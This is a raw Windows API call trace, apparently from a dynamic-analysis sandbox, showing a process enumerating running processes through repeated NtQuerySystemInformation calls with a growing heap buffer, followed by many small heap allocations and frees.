	[0068.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.516] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0068.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.517] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0068.517] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.517] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0068.517] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.517] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0068.517] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.518] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0068.518] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.518] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0068.518] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.518] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0068.519] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.519] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0068.519] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.519] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0068.519] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.520] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0068.520] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.520] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0068.520] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.521] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0068.521] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.521] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0068.523] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.523] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0068.523] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.524] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0068.524] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.524] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0068.524] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.525] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0068.525] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.525] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0068.525] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.526] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0068.526] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.526] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0068.526] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.527] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0068.527] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.527] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0068.527] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.528] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0068.528] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.528] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0068.528] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.529] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0068.529] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.530] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0068.530] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.530] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0068.530] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.531] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0068.531] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.531] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0068.531] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.532] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0068.532] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0068.533] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2) returned 0x28b97d8
	[0068.533] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28b97d8) returned 1
	[0068.533] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0xe) returned 0x287b280
	[0068.533] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x287b280) returned 1
	[0068.533] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x2892850
	[0068.533] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892850) returned 1
	[0068.533] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2892af0
	[0068.533] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892af0) returned 1
	[0068.533] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892910
	[0068.533] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892910) returned 1
	[0068.533] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2892a90
	[0068.533] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a90) returned 1
	[0068.533] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289ad58
	[0068.533] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ad58) returned 1
	[0068.533] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289ace0
	[0068.534] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ace0) returned 1
	[0068.534] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2892a50
	[0068.534] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0068.534] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892a50
	[0068.534] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0068.534] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x289ac18
	[0068.534] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ac18) returned 1
	[0068.534] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x289add0
	[0068.534] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289add0) returned 1
	[0068.534] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892850
	[0068.534] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892850) returned 1
	[0068.534] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x287b2e0
	[0068.534] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x287b2e0) returned 1
	[0068.534] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892a90
	[0068.534] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a90) returned 1
	[0068.534] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892b70
	[0068.534] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892b70) returned 1
	[0068.534] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892910
	[0068.534] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892910) returned 1
	[0068.534] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28927b0
	[0068.534] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28927b0) returned 1
	[0068.534] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892b70
	[0068.534] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892b70) returned 1
	[0068.534] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892af0
	[0068.534] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892af0) returned 1
	[0068.534] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892910
	[0068.534] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892910) returned 1
	[0068.534] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892910
	[0068.534] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892910) returned 1
	[0068.534] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892a50
	[0068.534] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0068.534] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892a50
	[0068.535] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0068.535] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892a50
	[0068.535] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0068.535] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892870
	[0068.535] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892870) returned 1
	[0068.535] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892af0
	[0068.535] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892af0) returned 1
	[0068.535] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2892a90
	[0068.535] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a90) returned 1
	[0068.535] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892850
	[0068.535] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892850) returned 1
	[0068.535] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289b028
	[0068.535] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289b028) returned 1
	[0068.535] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289ac18
	[0068.535] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ac18) returned 1
	[0068.535] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x2881da8
	[0068.535] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881da8) returned 1
	[0068.535] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x34) returned 0x286f5c8
	[0068.535] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286f5c8) returned 1
	[0068.535] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2878128
	[0068.535] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878128) returned 1
	[0068.535] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x30) returned 0x2881b40
	[0068.535] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881b40) returned 1
	[0068.535] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289afb0
	[0068.535] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289afb0) returned 1
	[0068.535] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x24) returned 0x2877fa8
	[0068.535] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877fa8) returned 1
	[0068.535] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289aec0
	[0068.535] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289aec0) returned 1
	[0068.535] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x287b280
	[0068.535] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x287b280) returned 1
	[0068.535] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289acb8
	[0068.535] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289acb8) returned 1
	[0068.536] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2e) returned 0x28819b8
	[0068.536] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28819b8) returned 1
	[0068.536] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2878278
	[0068.536] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878278) returned 1
	[0068.536] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289ac18
	[0068.536] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ac18) returned 1
	[0068.536] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x287b280
	[0068.536] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x287b280) returned 1
	[0068.536] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x2882048
	[0068.536] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2882048) returned 1
	[0068.536] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x48) returned 0x2894b50
	[0068.536] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2894b50) returned 1
	[0068.536] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2e) returned 0x2881c90
	[0068.536] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881c90) returned 1
	[0068.536] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x28819f0
	[0068.536] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28819f0) returned 1
	[0068.536] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x289ac40
	[0068.536] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ac40) returned 1
	[0068.536] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892a50
	[0068.536] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0068.536] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892af0
	[0068.536] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892af0) returned 1
	[0068.536] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x38) returned 0x286f7c8
	[0068.536] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286f7c8) returned 1
	[0068.536] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x42) returned 0x2894830
	[0068.536] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2894830) returned 1
	[0068.536] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x32) returned 0x286f808
	[0068.536] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286f808) returned 1
	[0068.536] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x2882048
	[0068.536] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2882048) returned 1
	[0068.536] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x2881a60
	[0068.536] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881a60) returned 1
	[0068.537] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892b70
	[0068.537] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892b70) returned 1
	[0068.537] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289ad58
	[0068.537] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ad58) returned 1
	[0068.537] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x28927b0
	[0068.537] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28927b0) returned 1
	[0068.537] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2878218
	[0068.537] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878218) returned 1
	[0068.537] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x28927f0
	[0068.537] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28927f0) returned 1
	[0068.537] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289b078
	[0068.537] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289b078) returned 1
	[0068.537] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892a50
	[0068.537] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0068.537] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x287b370
	[0068.537] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x287b370) returned 1
	[0068.537] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289afd8
	[0068.537] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289afd8) returned 1
	[0068.537] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289b078
	[0068.537] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289b078) returned 1
	[0068.537] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2892a50
	[0068.537] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0068.537] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2877df8
	[0068.537] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877df8) returned 1
	[0068.537] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x2881be8
	[0068.537] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881be8) returned 1
	[0068.537] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x287b280
	[0068.537] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x287b280) returned 1
	[0068.537] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289ada8
	[0068.537] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ada8) returned 1
	[0068.537] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2892b70
	[0068.537] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892b70) returned 1
	[0068.537] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892850
	[0068.538] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892850) returned 1
	[0068.538] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289ada8
	[0068.538] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ada8) returned 1
	[0068.538] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2892a50
	[0068.538] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0068.538] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289ac68
	[0068.538] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ac68) returned 1
	[0068.538] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2892910
	[0068.538] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892910) returned 1
	[0068.538] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289ad58
	[0068.538] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ad58) returned 1
	[0068.538] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289adf8
	[0068.538] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289adf8) returned 1
	[0068.538] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289af60
	[0068.538] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289af60) returned 1
	[0068.538] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289aec0
	[0068.538] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289aec0) returned 1
	[0068.538] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289ad80
	[0068.538] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ad80) returned 1
	[0068.538] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2892870
	[0068.538] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892870) returned 1
	[0068.538] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2878188
	[0068.538] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878188) returned 1
	[0068.538] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x24) returned 0x2878128
	[0068.538] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878128) returned 1
	[0068.538] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892b70
	[0068.538] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892b70) returned 1
	[0068.538] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2892a50
